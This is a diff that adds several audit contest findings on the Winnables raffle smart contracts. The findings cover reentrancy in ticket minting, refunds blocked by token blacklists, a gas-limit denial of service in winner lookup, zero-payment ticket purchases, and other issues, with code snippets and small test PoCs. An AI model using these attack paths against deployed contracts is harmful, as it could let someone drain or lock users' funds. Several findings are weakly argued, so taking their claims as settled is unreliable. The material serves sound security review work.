+The output from the terminal + +```solidity + + + Logs: + + + ✣ The privilege of ` USER 1 ` ✣ + + + + 0x0000000000000000000000000000000000000000000000000000000000000001 + + + + + + ✣ The privilege of ` USER 1 ` after the removal ✣ + + + + 0x0000000000000000000000000000000000000000000000000000000000000001 + + + + + + ✣ ` USER 1 ` still has its ` 0 ` privilege even when the other privileged address tried to remove the privilege ✣ + + + + Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.18s (2.18s CPU time) + + + +``` + +
+ + + + + + + + + + + + + + + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/055.md b/055.md new file mode 100644 index 0000000..09afbe7 --- /dev/null +++ b/055.md @@ -0,0 +1,119 @@ +Agreeable Jetblack Seahorse + +High + +# Attacker re-enters the `buyTickets()` and `mint()` functions + +### Summary + +Due to the lack of Reentrancy Guard `nonReentrant` in the `WinnablesTicketManager.sol` contract, an attacker can buy a large amount of tickets using reentrancy and his chances in the raffle will be unfairly increased. + +Due to the lack of Reentrancy Guard `nonReentrant` in the `WinnablesTicket.sol` contract, an attacker can mint a large amount of tickets using reentrancy + +### Root Cause + +In `WinnablesTicketManager:182` due to the lack of Reentrancy Guard `nonReentrant` + +In `WinnablesTicket:182` due to the lack of Reentrancy Guard `nonReentrant` + +The root cause of these 2 problems: + +OpenZeppelin's ERC1155.sol includes callback functions to manage NFTs and prevent them from getting stuck in contracts. For NFT contracts, there exist some implicit external function calls that could be neglected by developers. They include onERC1155Received function. The `onERC1155Received` function was designed to check whether the receiver contract can handle NFTs. This function is invoked in the `_doSafeTransferAcceptanceCheck()` of the `WinnablesTicket` contract. Due to this external function call, the reentrancy could happen without being noticed by contract developer. + +https://www.rareskills.io/post/where-to-find-solidity-reentrancy-attacks + +The `mint` function is called in the `buyTickets` function. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L208 +```solidity + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); +``` + + +`mint` calls `_doSafeTransferAcceptanceCheck`. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L198 +```solidity + function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + if (to == address(0)) { + revert TransferToAddressZero(); + } + address operator = msg.sender; + uint256 startId = _supplies[id]; + + unchecked { + _balances[id][to] += amount; + _supplies[id] = startId + amount; + } + + _ticketOwnership[id][startId] = to; + emit NewTicket(id, startId, amount); + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount); + } +``` + + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L226 +```solidity + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount + ) private { + if (to.isContract()) { + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, "") returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert TransferRejected(); + } + } catch { + revert TransferRejected(); + } + } + } +``` + +And there we can see that `mint` will ultimately try to call a function `onERC1155Received` on the receiving function. Now we have handed control over to another contract. + +According to what I said above, the malicious person can abuse the same things and write in the `onERC1155Received` function of his contract to call the `buyTickets()` function many times in a loop. The same thing can happen with the mint function. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker calls the `buyTickets()` function. + +2. Due to the lack of Reentrancy Guard adherence, the attacker re-enters the `buyTickets()` function in `onERC1155Received` before the initial call completes. + +3. This process can be repeated, allowing the attacker to buy tickets more than their allowed. + +The same thing can happen with the mint function: + +1. Attacker calls the `mint()` function. + +2. Due to the lack of Reentrancy Guard adherence, the attacker re-enters the `mint()` function in `onERC1155Received` before the initial call completes. + +3. This process can be repeated, allowing the attacker to mint (Raffle tickets) more than their allowed. + +### Impact + +Regarding the buyTickets function, the malicious person can buy a large amount of tickets using reentrancy for the raffle. + +Regarding the mint function, the malicious person can mint a large amount of tickets using reentrancy. + +### PoC + +_No response_ + +### Mitigation + +Add a reentrancy guard (`nonReentrant()`) \ No newline at end of file diff --git a/070.md b/070.md new file mode 100644 index 0000000..479f5b8 --- /dev/null +++ b/070.md @@ -0,0 +1,40 @@ +Curved Burgundy Snake + +Medium + +# Blacklisted raffle may cause impacted raffle to be non-refundable + +### Summary + +If the `WinnablesPrizeManager` becomes blacklisted (USDC and USDT both have blacklists) and the number of tickets bought reaches the `WinnablesTicketManager.minTicketsThreshold`, then the winner (if there is one) will not be able to claim the prize and the prize manager will not allow refunds. + +In the contest discord the head of judging has stated that with regard to blacklists `For tokens that have a blacklist, we will ignore any issues caused by that blacklist unless they cause damage to the protocol or other users.` and this affects the functioning of the protocol as well as the users. + +### Root Cause + +USDC and USDT both have blacklists that may blacklist the `WinnablesPrizeManager`, locking those tokens there. Once the tickets bought reaches the `raffle.minTicketsThreshold`, [WinnablesTicketManager.sol:440](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440) will prevent refunds from being given for the broken raffle. + +### Internal pre-conditions + +1. A token raffle is created with either a USDC or USDT prize +2. `raffle.minTicketsThreshold` tickets have been sold + +### External pre-conditions + +- + +### Attack Path + +1. The token (USDC or USDT) uses its blacklist to blacklist the `WinnablesPrizeManager`'s address + +### Impact + +Any winner will be unable to [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L309) due to the blacklist, and the same will be true of [withdrawTokens()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L296). Because the `raffle.minTicketsThreshold` has been reached the raffle also cannot be [canceled](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L440) so no [refunds](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L217) can be given and the ticket holders will lose the money they paid in return for nothing. + +### PoC + +_No response_ + +### Mitigation + +Allow the winner to initiate cancellation \ No newline at end of file diff --git a/101.md b/101.md new file mode 100644 index 0000000..ec576bd --- /dev/null +++ b/101.md @@ -0,0 +1,29 @@ +Gigantic Coral Crane + +Medium + +# Mapping Raffle ID to Incorrect NFT Address + +## Summary +The NFT raffle contract allows for the mapping of a raffle ID to an NFT address through the lockNFT function. However, the function does not validate the NFT address being passed, which can lead to the risk of associating a raffle with an incorrect or unintended NFT. This vulnerability can have significant implications for the integrity of the raffle **system.** + +## Vulnerability Detail +The lockNFT function in the NFT raffle contract is designed to associate a specific raffle ID with an NFT address. The function signature is as follows: + +This function allows any user to call it and pass an NFT address. However, there are no checks or validations to ensure that the provided NFT address is valid or corresponds to an NFT that is intended for that specific raffle. This lack of validation allows for the possibility of mapping a raffle ID to an incorrect NFT address, leading to potential misuse. +Impact + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148-166 +## Impact +The impact of this vulnerability includes: +Incorrect NFT Association: The raffle could be linked to an NFT that is not intended for that raffle, leading to confusion among participants and disputes over ownership. +Manipulation Risks: A malicious actor could intentionally lock a raffle to an NFT address they control, allowing them to manipulate the raffle outcome or unfairly claim prizes. +Loss of User Trust: Users may lose confidence in the raffle system if they perceive that the mapping of IDs to NFT addresses can be easily manipulated or mismanaged. +Operational Complexity: The absence of validation increases the complexity of managing raffles, as it may lead to operational errors and disputes. +## Code Snippet + +## Tool used + +Manual Review + +## Recommendation \ No newline at end of file diff --git a/119.md b/119.md new file mode 100644 index 0000000..355fcc6 --- /dev/null +++ b/119.md @@ -0,0 +1,114 @@ +Faithful Lemonade Penguin + +Medium + +# Not returning the ccip `messageId` might result in messaging DoS + +## Summary +The lack of returning the `messageId` in all the functions that are calling `_sendCCIPMessage` causes issues in finding and manually executing failed CCIP messages on CCIP Explorer, potentially resulting in a denial of service (DoS) as subsequent transactions are withheld + +## Vulnerability Detail +[According to the chainlink docs](https://docs.chain.link/ccip/concepts/manual-execution#overview) a CCIP message can be eligible for manual execution for various reasons: +> a CCIP message becomes eligible for manual execution for various reasons. Manual execution means that a user has to manually trigger the execution of the destination transaction after the issue that caused manual execution has been resolved +> - The receiver contract on the destination blockchain reverted due to an unhandled exception such as a logical error. +> - The receiver contract on the destination blockchain reverted due to the gas limit being insufficient to execute the triggered function (Note: The gas limit value is set in the extraArgs param of the message). +> - **The message could not be executed on the destination chain within CCIP’s Smart Execution time window, which is currently set to 8 hours. This could happen, for example, during extreme network congestion and resulting gas spikes.** + +[According to the docs](https://docs.chain.link/ccip/concepts/manual-execution#frequently-asked-questions), in such scenarios, all transactions after this one will be withheld until the failed transaction is executed: +> 1. **If a user sends multiple messages and the first message isn't successfully delivered and goes into a manual execution mode, does that mean all subsequent messages from the user will also be stuck?** +> It depends. If a message goes into manual execution mode due to receiver errors (unhandled exceptions or gas limit issues), subsequent messages don't get automatically blocked, unless they would encounter the same error. However, suppose a message goes into manual execution mode after the Smart Execution time window expires (currently 8 hours). In that case, subsequent messages must wait for the first message to be processed to maintain the default sequence. + +When a transaction needs to be executed manually, the user should do this using [CCIP Explorer](https://ccip.chain.link/). If the protocol needs to manually execute the transaction on CCIP Explorer, they should search for the transaction using one of the following items: + +- Message ID +- Transaction Hash +- Address + +Protocol admins or other protocols integrating with this protocol should be aware of the Message ID so they can manually execute it on CCIP Explorer. + +If they cannot find and manually execute the transaction, the messaging system may experience a denial of service (DoS) because all subsequent transactions will be withheld until the failed message is executed. + +In this protocol the `_sendCCIPMessage` [is responsible for sending ccip messages](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L46) and it returns the `messageId` returned by the chainlink's router: +```solidity + function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + +@> messageId = router.ccipSend( + ccipDestChainSelector, + message + ); + } +``` + +Given that the `messageId` is the most unique identifier for a message and `_sendCCIPMessage` returns this `messageId`, the issue arises because all functions calling `_sendCCIPMessage` do not return the `messageId` provided by the `_sendCCIPMessage`: +E.g: +- [lockETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L186) +- [lockTokens](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L211) +- [lockNFT](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L163) +- [cancelRaffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L282) +- [propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340) +- etc + +In the event that a CCIP message in any of the above functionalities fails and requires manual execution on the CCIP explorer, the user will have problem finding the message in the CCIP explorer +## Impact +Protocol may be DoSed + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L46 + +## Tool used + +Manual Review + +## Recommendation +Return the `messageId` in all the functions that are calling `_sendCCIPMessage` +E.g: +```diff + function lockETH( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + uint256 amount +- ) external payable onlyRole(0) { ++ ) external payable onlyRole(0) returns(bytes32 messageId) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 ethBalance = address(this).balance; + + if (ethBalance < amount + _ethLocked) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.ETH; + _ethLocked += amount; + _ethRaffles[raffleId] = amount; + +- _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); ++ messageId = _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit ETHPrizeLocked(raffleId, amount); + } +``` diff --git a/123.md b/123.md new file mode 100644 index 0000000..4a07c43 --- /dev/null +++ b/123.md @@ -0,0 +1,21 @@ +Proud Cotton Rooster + +Medium + +# Failed transfer with low level call could be overlooked + +## Summary + +## Vulnerability Detail + +## Impact +The [_sendETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L482) function is utilized in a few different places in the contract. According to the [Solidity docs](https://docs.soliditylang.org/en/develop/control-structures.html#error-handling-assert-require-revert-and-exceptions)), "The low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed". As a result, it is possible that this call will fail, but `_sendETH` function will not notice anything went wrong. In particular, it is possible that the address `player` is a deleted contract (perhaps a security flaw was found and selfdestruct was called so that users know to use an updated smart contract), but `_sendETH` will not revert. If `player` is indeed a non-existent contract it would be better for `_sendETH` to revert until an admin can manually correct the `player`. +## Code Snippet +See [_sendETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L482). See how this function is called with `to` as [player](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L224), but this contract's existence is not verified, which is a problem as described above. +## Tool used + +Manual Review + +## Recommendation + +Check for contract existence on low-level calls, so that failures are not missed. \ No newline at end of file diff --git a/137.md b/137.md new file mode 100644 index 0000000..8967c43 --- /dev/null +++ b/137.md @@ -0,0 +1,72 @@ +Mammoth Stone Grasshopper + +Medium + +# Users cannot track ticket transfers because no transfer event is emitted upon transferring tickets to buyer + +### Summary + +The `WinnablesTicket::mint` function attempts to emit a TransferSingle event when tickets are minted and transferred to a buyer using the line [emit TransferSingle(operator, address(0), to, id, amount);](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L196). However, this event is not defined in the contract, meaning that the intended action of logging the transfer is not properly recorded on the blockchain. This lack of an event can create issues for tracking ticket transfers and monitoring the contract’s activities. + + +### Root Cause + +The root cause of this issue is that the `TransferSingle` event is referenced in the `WinnablesTicket::mint` function, but it has not been defined in the contract. This leads to a situation where the contract tries to emit an event that doesn’t exist, resulting in an undefined event being logged. + + +### Internal pre-conditions + +The `WinnablesTicket::mint` function is called to mint and transfer tickets to a buyer. + + +### External pre-conditions + +_No response_ + +### Attack Path + +This issue does not present a direct attack vector but instead creates a lack of transparency and traceability. Implications include difficulty in tracking the transfer of tickets, and misleading behavior for users or systems that rely on event logs for notifications or data updates, such as Winnables own front-end. + + +### Impact + +The absence of the `TransferSingle` event impacts the transparency and traceability of ticket transfers within the `WinnablesTicket` contract. It may hinder the ability to keep track of transfers and complicate interactions with off-chain systems that depend on event logs to process data or trigger actions. + + +### PoC + +The test below, which is an edited version of [this existing test](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js#L438-L456), shows that the event is emitted as undefined: + +```javascript + it('Good ERC1155Receiver can purchase tickets', async () => { + const currentBlock = await ethers.provider.getBlockNumber(); + const sig = await api.signMessage(ethers.utils.arrayify( + ethers.utils.solidityKeccak256(['address', 'uint256', 'uint256', 'uint16', 'uint256', 'uint256'], [ + goodReceiver.address, + 0, + 1, + 10, + currentBlock + 10, + 0 + ]) + )); + const tx = await whileImpersonating(goodReceiver.address, ethers.provider, async (signer) => + manager.connect(signer).buyTickets(1, 10, currentBlock + 10, sig) + ); + const { events } = await tx.wait(); + expect(events).to.have.lengthOf(3); +@> const transferSingleEvent = events.find(event => event.event === 'TransferSingle'); +@> expect(transferSingleEvent).to.be.undefined; + expect(await tickets.balanceOf(goodReceiver.address, 1)).to.eq(10); + }); +``` + + +### Mitigation + +Define the TransferSingle event in the contract, e.g. on [`IWinnablesTicket`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/interfaces/IWinnablesTicket.sol#L20-L21): + +```Diff + event NewTicket(uint256 indexed id, uint256 indexed startId, uint256 indexed amount); ++ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); +``` diff --git a/142.md b/142.md new file mode 100644 index 0000000..4ab31f9 --- /dev/null +++ b/142.md @@ -0,0 +1,126 @@ +Delightful Inky Panda + +Medium + +# Raffle cannot be drawn when Ticket supply is large + +## Summary + +Raffle cannot be drawn when Ticket supply is large. + +## Vulnerability Detail + +Let's examine how winners are chosen: +```solidity + function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); + } +``` +and in `WinnablesTicket.sol`: +```solidity + function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { + if (ticketId >= _supplies[id]) { + revert InexistentTicket(); + } + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } + } + return _ticketOwnership[id][ticketId]; + } +``` +In searching for the winner, this loop is executed many times: +```solidity + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } + } +``` +In this loop, the single consumption of gas is: +- read mapping from storage cost 2100 +- `==` cost 3 +- `--` cost 3 + +In the CONTEST readme it is stated that: + +> Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? +> +> None other than the restrictions inherent to the types used (for example: WinnablesTicketManager::buyTickets() take a uint16 argument for ticketCount. That means the maximum number of tickets that can be purchased in a single transaction is type(uint16).max) + +Lets consider the case that a user purchases `type(uint16).max)` tickets in a transaction and the last ticket is the winner, so the loop would goes to the first ticket. Here is a simple coded poc to estimate the gas cost: + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.26; + +import {Test, console} from "forge-std/Test.sol"; + +contract Testloop{ + + mapping(uint256 => mapping(uint256 => address)) private _ticketOwnership; + + function setmapping(uint256 id, uint256 startId, address to) public { + _ticketOwnership[id][startId] = to; + } + + function ownerOf(uint256 id, uint256 ticketId) public view returns (address) { + //if (ticketId >= _supplies[id]) { + // revert InexistentTicket(); + //} + while (_ticketOwnership[id][ticketId] == address(0)) { + unchecked { --ticketId; } + } + return _ticketOwnership[id][ticketId]; + } +} + +contract CounterTest is Test { + Testloop public testloop; + + function setUp() public { + testloop = new Testloop(); + testloop.setmapping(uint256(0), uint256(0), address(0xFF)); + } + + function test_Loopgas() public { + testloop.ownerOf(uint256(0), uint16(type(uint16).max)); + } +} +``` + +and output: + +```text +$ forge test -vvv +[⠢] Compiling... +No files changed, compilation skipped + +Ran 2 tests for test/test.t.sol:CounterTest +[PASS] test_Loopgas() (gas: 150673070) +[PASS] testloop() (gas: 2415) +Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 71.28ms (71.20ms CPU time) +``` +As we can see, more than 150000000 gwei is consumed on this transaction. However, gas limit on Avalanche-C is set to 15000000, so the raffle can never get settled. + +https://avascan.info/blockchain/c/block/49400000 + +## Impact + +Impact: HIGH - once it happens, all related funds will be locked permanently. + +Liklihood: LOW - such raffle is rare, but can happen per contest readme. + +Severity: MEDIUM + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472 + +## Tool used + +Manual Review + +## Recommendation + +Fully acknowledge the risk. \ No newline at end of file diff --git a/146.md b/146.md new file mode 100644 index 0000000..85c0814 --- /dev/null +++ b/146.md @@ -0,0 +1,52 @@ +Shaggy Ultraviolet Parakeet + +Medium + +# Block number is not effective in validating expiration times + +### Summary + +Block number is not an effective param to use when dealing with validation of expiration time because of how they can be manipulated + +### Root Cause + +Block number is used in validating the expiry of a signature in [`WinnablesTicketManager::_checkPurchaseSig`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L449) + +### Internal pre-conditions + +use block number in validation + +### External pre-conditions + +Miners need to manipulate block.number + +### Attack Path + +Manipulation of block.number by miners + +### Impact + +Block number can be manipulated which can lead to alot of complications like unwanted reverts + +### PoC + +```solidity + function _checkPurchaseSig(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) internal view { + if (blockNumber < block.number) revert ExpiredCoupon(); + //@audit block number is not effective + address signer = _getSigner( + keccak256( + abi.encodePacked( + msg.sender, _userNonces[msg.sender], raffleId, ticketCount, blockNumber, msg.value + ) + ), signature + ); + if (!_hasRole(signer, 1)) revert Unauthorized(); + } +``` + +block number as we can see is used to validate expiry + +### Mitigation + +use block.timestamp instead \ No newline at end of file diff --git a/151.md b/151.md new file mode 100644 index 0000000..9517f29 --- /dev/null +++ b/151.md @@ -0,0 +1,38 @@ +Agreeable Wooden Unicorn + +Medium + +# The assumption of winner having same account address on ETH chain and AVAX chain can be wrong + +### Summary + +There is a possibility that a user is participating with a smart on-chain wallet where AVAX chain is supported but not ETH chain or their ETH wallet have different address. In this case the prize sent to winner on ETH chain can be unrecoverable as the winner won't be able to `claimPrize()` on ETH chain. There can be a claim period that allows owner to claim rewards on that case. So the rewards don't stuck in the contract. + +### Root Cause + +In `https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105` It is assumed that the winner address is same on both ETH and AVAX. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Alice uses smart wallet provider to participate in raffle in AVAX chain. +2. If the smart wallet provider doesn't support ETH chain. If Alice wins the raffle it's rewards will be unrecoverable. + +### Impact + +Locking of user rewards in the contract + +### PoC + +_No response_ + +### Mitigation + +There should be an option for winner on AVAX to provide their eligible ETH address for rewards. There should also be a claim period for the winner after which owner can unlock the rewards as to avoid them getting locked in the contract forever. \ No newline at end of file diff --git a/171.md b/171.md new file mode 100644 index 0000000..062169c --- /dev/null +++ b/171.md @@ -0,0 +1,119 @@ +Silly Burgundy Scallop + +Medium + +# requestConfirmations should not be constant + +## Summary + +`requestRandomWords.requestConfirmations` should not be hardcoded because there is a `minimumRequestConfirmations` that can be set greater than `3` and the protocol will lock forever. + +## Vulnerability Detail + +When a winner is drawn, a call to `VRF_COORDINATOR` is made with `3` as `requestConfirmations`. This number represent the blocks that should pass in order Chainlink to fulfill the request. + +```solidity +function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + + uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( + KEY_HASH, + SUBSCRIPTION_ID, + 3, <---------------------------------------- + 100_000, + 1 + ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + emit RequestSent(requestId, raffleId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); +} +``` + +But inside `VRF_COORDINATOR.requestRandomWords` there is a check ensuring that the `requestConfirmations` passed is not lower than the `minimumRequestConfirmations`. Since this value is configured at the `VRF_COORDINATOR` level, when this value becomes greater than `3` (`requestConfirmations`), `drawWinner()` will revert. + +[[VRFCoordinatorV2.sol#L370-L429](https://github.com/smartcontractkit/chainlink/blob/contracts-v0.6.1/contracts/src/v0.8/VRFCoordinatorV2.sol#L370-L429)](https://github.com/smartcontractkit/chainlink/blob/contracts-v0.6.1/contracts/src/v0.8/VRFCoordinatorV2.sol#L370-L429) + +```solidity +function requestRandomWords( + bytes32 keyHash, + uint64 subId, + uint16 requestConfirmations, + uint32 callbackGasLimit, + uint32 numWords +) external override nonReentrant returns (uint256) { + // Input validation using the subscription storage. + if (s_subscriptionConfigs[subId].owner == address(0)) { + revert InvalidSubscription(); + } + // Its important to ensure that the consumer is in fact who they say they + // are, otherwise they could use someone else's subscription balance. + // A nonce of 0 indicates consumer is not allocated to the sub. + uint64 currentNonce = s_consumers[msg.sender][subId]; + if (currentNonce == 0) { + revert InvalidConsumer(subId, msg.sender); + } + // Input validation using the config storage word. + if ( + requestConfirmations < s_config.minimumRequestConfirmations || requestConfirmations > MAX_REQUEST_CONFIRMATIONS <---------------------------------- + ) { + revert InvalidRequestConfirmations( + requestConfirmations, + s_config.minimumRequestConfirmations, + MAX_REQUEST_CONFIRMATIONS + ); + } + // No lower bound on the requested gas limit. A user could request 0 + // and they would simply be billed for the proof verification and wouldn't be + // able to do anything with the random value. + if (callbackGasLimit > s_config.maxGasLimit) { + revert GasLimitTooBig(callbackGasLimit, s_config.maxGasLimit); + } + if (numWords > MAX_NUM_WORDS) { + revert NumWordsTooBig(numWords, MAX_NUM_WORDS); + } + // Note we do not check whether the keyHash is valid to save gas. + // The consequence for users is that they can send requests + // for invalid keyHashes which will simply not be fulfilled. + uint64 nonce = currentNonce + 1; + (uint256 requestId, uint256 preSeed) = computeRequestId(keyHash, msg.sender, subId, nonce); + + s_requestCommitments[requestId] = keccak256( + abi.encode(requestId, block.number, subId, callbackGasLimit, numWords, msg.sender) + ); + emit RandomWordsRequested( + keyHash, + requestId, + preSeed, + subId, + requestConfirmations, + callbackGasLimit, + numWords, + msg.sender + ); + s_consumers[msg.sender][subId] = nonce; + + return requestId; +} +``` + +## Impact + +Using hardcoded `requestConfirmations` will cause `drawWinner()` to return when `s_config.minimumRequestConfirmations` is updated. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L318 + +## Tool used + +Manual Review + +## Recommendation + +Create a storage variable and an admin setter for this value. \ No newline at end of file diff --git a/188.md b/188.md new file mode 100644 index 0000000..6116459 --- /dev/null +++ b/188.md @@ -0,0 +1,53 @@ +Salty Lemon Cod + +Medium + +# isContract() check is invalid due to solidity version incompatibility + +### Summary + +The isContract() function imported from Address library only supports solidity 0.8.1, does not support solidity 0.8.24 that is relied in the WinnablesTicket contract, thus rendering the isContract() check in the _doSafeTransferAcceptanceCheck() function invalid. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L197-L200 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L218-L235 + +### Root Cause + +The Openzepplin Address Library has upgraded many times along with the solidity version upgrade. + +Only Address Library supporting solidity 0.8.0 or older version contains isContract() function, the latest Address library does not contain isContract() function. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L197-L200 + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + + Create a new isContract(address account) function to check the address as following, this could avoid the solidity version issues: + + function isContract(address account) public view returns (bool) { + uint256 size; + assembly { + size := extcodesize(account) // Get the size of the code at the address + } + return size > 0; // Return true if size is greater than 0, indicating it's a contract + } \ No newline at end of file diff --git a/197.md b/197.md new file mode 100644 index 0000000..d9f17b5 --- /dev/null +++ b/197.md @@ -0,0 +1,87 @@ +Scrawny Gauze Cougar + +High + +# Anyone can buy tickets with 0 commitment + +### Summary + +While participating in Raffle by calling `buyTickets(...)`, the caller pays in Native tokens which is not being checked. As a result, the caller can buy tickets with out paying native tokens. + + + + +### Root Cause + +In `WinnablesTicketManager.sol::buyTickets(...)` function, the number of tickets purchased should be against the amount of native tokens transferred. But, there is not such check. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210 + +In the `buyTickets(...)` function, the caller can pass 0 native tokens and claim participation in a raffle. The participation should be based on funds contributed to raffle in the form of tickets. + +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + + +### Internal pre-conditions + +1. Attacker can call `WinnablesTicketManager.sol::buyTickets(...)` specifying the number of tickets for a raffle id. +2. Attacker passed 0 value and still be able to participate in the raffle by minting tickets in the favour of the caller. + + +### External pre-conditions + +1. RaffleId should be valid +2. Tickets should be purchasable based on start and end times and status + + +### Attack 